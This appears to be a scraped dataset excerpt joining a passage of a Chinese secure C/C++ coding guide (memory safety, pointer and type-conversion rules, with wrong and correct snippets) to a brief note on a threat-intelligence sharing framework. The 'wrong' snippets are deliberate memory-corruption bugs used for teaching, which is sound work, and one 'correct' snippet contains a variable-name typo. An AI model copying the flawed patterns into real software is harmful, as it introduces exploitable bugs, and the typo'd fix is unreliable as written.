char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
// 当使用像strncat()函数时,必须在缓冲区的末尾为终止空字符留下一个空字节,避免off-by-one
strncat(fullname, firstname, sizeof(fullname) - strlen(fullname) - 1);
strncat(fullname, lastname, sizeof(fullname) - strlen(fullname) - 1);
```
对于 C++ 代码,再次强烈建议使用 `string`、`vector` 等组件代替原始指针和数组操作。
关联漏洞:
`高风险-内存破坏`
<a id="1.7.3"></a>
#### 7.3 【必须】避免大小端错误
在一些涉及大小端数据处理的场景,需要进行大小端判断,例如从大端设备取出的值,要以大端进行处理,避免端序错误使用。
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.7.4"></a>
#### 7.4 【必须】检查除以零异常
在进行除法运算时,需要判断被除数是否为零,以防导致程序不符合预期或者崩溃。
错误:
```c++
int divide(int x, int y) {
return x / y;
}
```
正确:
```c++
int divide(int x, int y) {
if (y == 0) {
throw DivideByZero;
}
return x / y;
}
```
关联漏洞:
`低风险-拒绝服务`
<a id="1.7.5"></a>
#### 7.5 【必须】防止数字类型的错误强转
在有符号和无符号数字参与的运算中,需要注意类型强转可能导致的逻辑错误,建议指定参与计算时数字的类型或者统一类型参与计算。
错误例子
```c++
int Foo() {
int len = 1;
unsigned int size = 9;
// 1 < 9 - 10 ? 由于运算中无符号和有符号混用,导致计算结果以无符号计算
if (len < size - 10) {
printf("Bad\n");
} else {
printf("Good\n");
}
}
```
正确例子
```c++
void Foo() {
// 统一两者计算类型为有符号
int len = 1;
int size = 9;
if (len < size - 10) {
printf("Bad\n");
} else {
printf("Good\n");
}
}
```
关联漏洞:
`高风险-内存破坏`
`中风险-逻辑漏洞`
<a id="1.7.6"></a>
#### 7.6 【必须】比较数据大小时加上最小/最大值的校验
在进行数据大小比较时,要合理地校验数据的区间范围,建议根据数字类型,对其进行最大和最小值的判断,以防止非预期错误。
错误:
```c++
void Foo(int index) {
int a[30] = {0};
// 此处index是int型,只考虑了index小于数组大小,但是并未判断是否大于等于0
if (index < 30) {
// 如果index为负数,则越界
a[index] = 1;
}
}
```
正确:
```c++
void Foo(int index) {
int a[30] = {0};
// 判断index的最大最小值
if (index >= 0 && index < 30) {
a[index] = 1;
}
}
```
关联漏洞:
`高风险-内存破坏`
<a id="1.8"></a>
### 8 指针操作
<a id="1.8.1"></a>
#### 8.1 【建议】检查在pointer上使用sizeof
除了测试当前指针长度,否则一般不会在pointer上使用sizeof。
正确:
```c++
size_t pointer_length = sizeof(void*);
```
可能错误:
```c++
size_t structure_length = sizeof(Foo*);
```
可能是:
```c++
size_t structure_length = sizeof(Foo);
```
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.8.2"></a>
#### 8.2 【必须】检查直接将数组和0比较的代码
错误:
```c++
int a[3];
...;
if (a > 0)
...;
```
该判断永远为真,等价于:
```c++
int a[3];
...;
if (&a[0])
...;
```
可能是:
```c++
int a[3];
...;
if(a[0] > 0)
...;
```
开启足够的编译器警告(GCC 中为 `-Waddress`,并已包含在 `-Wall` 中),并设置为错误,可以在编译期间发现该问题。
关联漏洞:
`中风险-逻辑漏洞`
<a id="1.8.3"></a>
#### 8.3 【必须】不应当向指针赋予写死的地址
特殊情况需要特殊对待(比如开发硬件固件时可能需要写死)
但是如果是系统驱动开发之类的,写死可能会导致后续的问题。
关联漏洞:
`高风险-内存破坏`
<a id="1.8.4"></a>
#### 8.4 【必须】检查空指针
错误:
```c++
*foo = 100;
if (!foo) {
ERROR("foobar");
}
```
正确:
```c++
if (!foo) {
ERROR("foobar");
}
*foo = 100;
```
错误:
```c++
void Foo(char* bar) {
*bar = '\0';
}
```
正确:
```c++
void Foo(char* bar) {
if(bar)
*bar = '\0';
else
...;
}
```
关联漏洞:
`低风险-拒绝服务`
<a id="1.8.5"></a>
#### 8.5 【必须】释放完后置空指针
在对指针进行释放后,需要将该指针设置为NULL,以防止后续free指针的误用,导致UAF等其他内存破坏问题。尤其是在结构体、类里面存储的原始指针。
错误:
```c++
void foo() {
char* p = (char*)malloc(100);
memcpy(p, "hello", 6);
printf("%s\n", p);
free(p); // 此时p所指向的内存已被释放,但是p所指的地址仍然不变
// 未设置为NULL,可能导致UAF等内存错误
if (p != NULL) { // 没有起到防错作用
printf("%s\n", p); // 错误使用已经释放的内存
}
}
```
正确:
```c++
void foo() {
char* p = (char*)malloc(100);
memcpy(p, "hello", 6);
// 此时p所指向的内存已被释放,但是p所指的地址仍然不变
printf("%s\n", p);
free(p);
//释放后将指针赋值为空
p = NULL;
if (p != NULL) { // 没有起到防错作用
printf("%s\n", p); // 错误使用已经释放的内存
}
}
```
对于 C++ 代码,使用 string、vector、智能指针等代替原始内存管理机制,可以大量减少这类错误。
关联漏洞:
`高风险-内存破坏`
<a id="1.8.6"></a>
#### 8.6 【必须】防止错误的类型转换(type confusion)
在对指针、对象或变量进行操作时,需要能够正确判断所操作对象的原始类型。如果使用了与原始类型不兼容的类型进行访问,则存在安全隐患。
错误:
```c++
const int NAME_TYPE = 1;
const int ID_TYPE = 2;
// 该类型根据 msg_type 进行区分,如果在对MessageBuffer进行操作时没有判断目标对象,则存在类型混淆
struct MessageBuffer {
int msg_type;
union {
const char *name;
int name_id;
};
};
void Foo() {
struct MessageBuffer buf;
const char* default_message = "Hello World";
// 设置该消息类型为 NAME_TYPE,因此buf预期的类型为 msg_type + name
buf.msg_type = NAME_TYPE;
buf.name = default_message;
printf("Pointer of buf.name is %p\n", buf.name);
// 没有判断目标消息类型是否为ID_TYPE,直接修改nameID,导致类型混淆
buf.name_id = user_controlled_value;
if (buf.msg_type == NAME_TYPE) {
printf("Pointer of buf.name is now %p\n", buf.name);
// 以NAME_TYPE作为类型操作,可能导致非法内存读写
printf("Message: %s\n", buf.name);
} else {
printf("Message: Use ID %d\n", buf.name_id);
}
}
```
正确(判断操作的目标是否是预期类型):
```c++
void Foo() {
struct MessageBuffer buf;
const char* default_message = "Hello World";
// 设置该消息类型为 NAME_TYPE,因此buf预期的类型为 msg_type + name
buf.msg_type = NAME_TYPE;
buf.name = default_msessage;
printf("Pointer of buf.name is %p\n", buf.name);
// 判断目标消息类型是否为 ID_TYPE,不是预期类型则做对应操作
if (buf.msg_type == ID_TYPE)
buf.name_id = user_controlled_value;
if (buf.msg_type == NAME_TYPE) {
printf("Pointer of buf.name is now %p\n", buf.name);
printf("Message: %s\n", buf.name);
} else {
printf("Message: Use ID %d\n", buf.name_id);
}
}
```
关联漏洞:
`高风险-内存破坏`
<a id="1.8.7"></a>
#### 8.7 【必须】智能指针使用安全
在使用智能指针时,防止其和原始指针的混用,否则可能导致对象生命周期问题,例如 UAF 等安全风险。
错误例子:
```c++
class Foo {
public:
explicit Foo(int num) { data_ = num; };
void Function() { printf("Obj is %p, data = %d\n", this, data_); };
private:
int data_;
};
std::unique_ptr<Foo> fool_u_ptr = nullptr;
Foo* pfool_raw_ptr = nullptr;
void Risk() {
fool_u_ptr = make_unique<Foo>(1);
// 从独占智能指针中获取原始指针,<Foo>(1)
pfool_raw_ptr = fool_u_ptr.get();
// 调用<Foo>(1)的函数
pfool_raw_ptr->Function();
// 独占智能指针重新赋值后会释放内存
fool_u_ptr = make_unique<Foo>(2);
// 通过原始指针操作会导致UAF,pfool_raw_ptr指向的对象已经释放
pfool_raw_ptr->Function();
}
// 输出:
// Obj is 0000027943087B80, data = 1
// Obj is 0000027943087B80, data = -572662307
```
正确,通过智能指针操作:
```c++
void Safe() {
fool_u_ptr = make_unique<Foo>(1);
// 调用<Foo>(1)的函数
fool_u_ptr->Function();
fool_u_ptr = make_unique<Foo>(2);
// 调用<Foo>(2)的函数
fool_u_ptr->Function();
}
// 输出:
// Obj is 000002C7BB550830, data = 1
// Obj is 000002C7BB557AF0, data = 2
```
关联漏洞:
`高风险-内存破坏`
|
sec-knowleage
|
# 如何实现威胁情报共享
## LWTISUF框架
一个基于STIX/TAXII网络威胁情报共享机制的,面向攻击溯源需求提出的定制轻量型威胁情报共享利用框架LWTISUF(light weight threat intelligence sharing and using framework)[1]

图:总体技术框架
### 特点
- 专门用于对网络攻击行为的溯源
- 尽量保持与STIX/TAXII机制的兼容性
### 如何使用框架
将该框架集成到当前主流的安全监测防护系统和产品中,如IDS、防火墙系统、终端安全管理系统等
### 目的
实现攻击情报的共享、交换,为攻击溯源提供协同化处理机制
---
### 如何实现威胁情报交换

图:威胁情报交换[1]
## Reference
[1] 面向攻击溯源的威胁情报共享利用研究,杨泽明
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.